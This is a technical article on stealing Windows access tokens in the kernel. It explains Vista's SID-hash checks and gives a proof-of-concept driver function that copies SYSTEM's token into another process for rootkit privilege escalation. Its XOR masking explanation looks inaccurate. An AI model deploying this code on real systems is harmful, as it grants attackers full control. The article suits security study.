

Access token stealing

Table of contents

- Token manipulation techniques in the past
- New integrity checking features introduced in Vista
- Token stealing
- Technical limitations

Token manipulation in the past

The well known way of manipulating access tokens was documented by James Butler and Greg Hoggund in 2005 (Rootkits: Subverting the Windows Kernel). This technique modified the memory region pointed to by UserAndGroups and RestrictedSids. This memory region is the dynamic part of the access token. In windows versions prior to Windows Vista there were no integrity checks on these fields therefore it was possible to add and remove SIDs.

New integrity checking features introduced in Vista

In new versions of Windows starting with Vista 2 new fields appeared in the access token structure SidHash and RestrictedSidHash .

```
kd> dt _token
nt!_TOKEN
+0x000 TokenSource      : _TOKEN_SOURCE
+0x010 TokenId         : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId   : _LUID
+0x028 ExpirationTime  : _LARGE_INTEGER
+0x030 TokenLock       : Ptr32 _ERESOURCE
+0x034 ModifiedId     : _LUID
+0x040 Privileges      : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy     : _SEP_AUDIT_POLICY
+0x074 SessionId       : Uint4B
+0x078 UserAndGroupCount : Uint4B
+0x07c RestrictedSidCount : Uint4B
+0x080 VariableLength  : Uint4B
+0x084 DynamicCharged  : Uint4B
+0x088 DynamicAvailable : Uint4B
+0x08c DefaultOwnerIndex : Uint4B
+0x090 UserAndGroups   : Ptr32 _SID_AND_ATTRIBUTES
+0x094 RestrictedSids  : Ptr32 _SID_AND_ATTRIBUTES
+0x098 PrimaryGroup    : Ptr32 _VOID
+0x09c DynamicPart     : Ptr32 Uint4B
+0x0a0 DefaultDacl     : Ptr32 _ACL
+0x0a4 TokenType       : _TOKEN_TYPE
+0x0a8 ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL
+0x0ac TokenFlags      : Uint4B
+0x0b0 TokenInUse      : UChar
+0x0b4 IntegrityLevelIndex : Uint4B
+0x0b8 MandatoryPolicy : Uint4B
+0x0bc LogonSession    : Ptr32 _SEP_LOGON_SESSION_REFERENCES
+0x0c0 OriginatingLogonSession : _LUID
+0x0c8 SidHash         : _SID_AND_ATTRIBUTES_HASH
+0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1d8 pSecurityAttributes : Ptr32 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1dc VariablePart    : Uint4B
```

This two fields contain the hashes of the SIDs stored in the dynamic part of the token in order to prevent accidental or intended modification of this part of the access token. The hashes are checked every time the token is used. This means that the technique developed by Greg Hoggund cannot be used in recent versions of Microsoft Windows.

Token stealing

One possible way to bypass integrity checks is to find the algorithm that is responsible for verifying the access token, and patch it. The implementation is heavily version dependent, so an easier and more stable alternative is needed.

The `_TOKEN` structure is linked to the `_EPROCESS` structure through the `Token` member which is an `_EX_FAST_REF` type. The exact memory address of the `_TOKEN` structure can be calculated from the value stored in the `_EX_FAST_REF` field by XORing the value with `0xFFFFFFFF8`. This is because the last 7 bits of the value is used to keep track of the references on the token object.

It turned out that it is possible to use the access token of other processes by simply exchange the `_EX_FAST_REF` value with the value in the `_EPROCESS` structure of the victim process. There is only one problem regarding this operation. In this case two processes use the same token object. This means that when one of them exits the system will free the token object. If the other process tries to use the token or exits it will immediately result in BSOD. The case when the victim process is the `SYSTEM` process (the process with `PID = 4`) is an exception to this. The operating system will be fully functional when another process uses the token of this process, because this is one of the last processes that is to be terminated, and nothing happens if there is problem during termination (the reasons are unknown).

To fix this problem a copy must be made of the access token of the target process. This can be accomplished by using the `ZwDuplicateToken` function. After a copy of the desired access token is made the only thing that is to be done is to exchange the original value of the `Token` field with the address of the new token. The process will have the same access rights as the victim.

Here is the proof of concept code snippet that is capable of stealing access token of other processes:

```
NTSTATUS
StealToken(
    int dpid,
    int spid
)
{
    NTSTATUS status = STATUS_SUCCESS;
    ACCESS_STATE accessState;
    char Data[0x100];

    PEPROCESS pseproc = NULL;
    HANDLE hseproc = NULL;
    PEPROCESS pdeproc = NULL;

    HANDLE hstoken = NULL; //Source token handle
    HANDLE hntoken = NULL; //New token handle
    PVOID pntoken = NULL; //New token address
    PVOID potoken = NULL; //The original token

    //Open the source process
    status = SeCreateAccessState(
```

```

    &accessState,
    Data,
    STANDARD_RIGHTS_ALL,
    (PGENERIC_MAPPING)((PCHAR)*PsProcessType + 52)
);

if (!NT_SUCCESS(status))
{
    DbgPrint("Error creating access state!!!");
    return status;
}

accessState.PreviouslyGrantedAccess |= accessState.RemainingDesiredAccess;
accessState.RemainingDesiredAccess = 0;

status = PsLookupProcessByProcessId((HANDLE)spid, &pseproc);

if (!NT_SUCCESS(status))
{
    SeDeleteAccessState(&accessState);
    return status;
}

status = ObOpenObjectByPointer(
    pseproc,
    0,
    &accessState,
    0,
    *PsProcessType,
    KernelMode,
    &hseproc
);

SeDeleteAccessState(&accessState);
ObDereferenceObject(pseproc);

//Get handle to the source token
status = ZwOpenProcessTokenEx(
    hseproc,
    STANDARD_RIGHTS_ALL,
    OBJ_KERNEL_HANDLE,
    &hstoken
);

if (!NT_SUCCESS(status))
{
    DbgPrint("Opening source token failed!\n");
    return status;
}

```

```

//Copy the source token
status = ZwDuplicateToken(
    hstoken,
    TOKEN_ALL_ACCESS,
    NULL,
    FALSE,
    TokenPrimary,
    &hntoken
);

if (!NT_SUCCESS(status))
{
    DbgPrint("Copying source token failed!\n");
    return status;
}

//Close the source process and source token handles
if (NT_SUCCESS(status))
{
    ZwClose(hstoken);
    ZwClose(hseproc);
}

//Reference the new token to get the memory address of it
status = ObReferenceObjectByHandle(
    hntoken,
    STANDARD_RIGHTS_ALL,
    NULL,
    KernelMode,
    &pntoken,
    NULL
);

    if (!NT_SUCCESS(status))
{
    DbgPrint("Referencing new token failed!\n");
    return status;
}

//Find the target process and link the token in
(DWORD)pdeproc = (DWORD)FindProcessEPROC(dpid);

if ((DWORD)pdeproc == 0x0){
    DbgPrint("Destination process (%d) not found!\n", dpid);
    return STATUS_UNSUCCESSFUL;
}

//Save the old token ex_fast_ref and other stuff

```

```
original_token.pdeproc = (DWORD)pdeproc;
original_token.ptoken_evr = *(DWORD *)((DWORD)pdeproc + osdetails.TOKENOFFSET);

//Link in the new token
*(DWORD *)((DWORD)pdeproc + osdetails.TOKENOFFSET) = (DWORD)pntoken;

return STATUS_SUCCESS;
}
```

Technical limitations

The technique in this form has some interesting limitations which could be eliminated in the future. One of the limitations is that creating new processes only possible if the access token that is to be stolen belongs to a process that is running on behalf of an account that is member to the Administrators group or on behalf of the SYSTEM account. One other limitation is that if the token belongs to one of the members of the Administrators group only processes without GUI can be launched. In the case of rootkits these are not critical limitations. The aim of the attacker usually is to gain elevated privileges. This means that stealing access token from SYSTEM or Administrator is the most usual use case.

Bypassing detailed process tracking (running processes on behalf of other account without impersonation)

One possible use case is to launch processes on behalf of another process which is running on behalf of other accounts.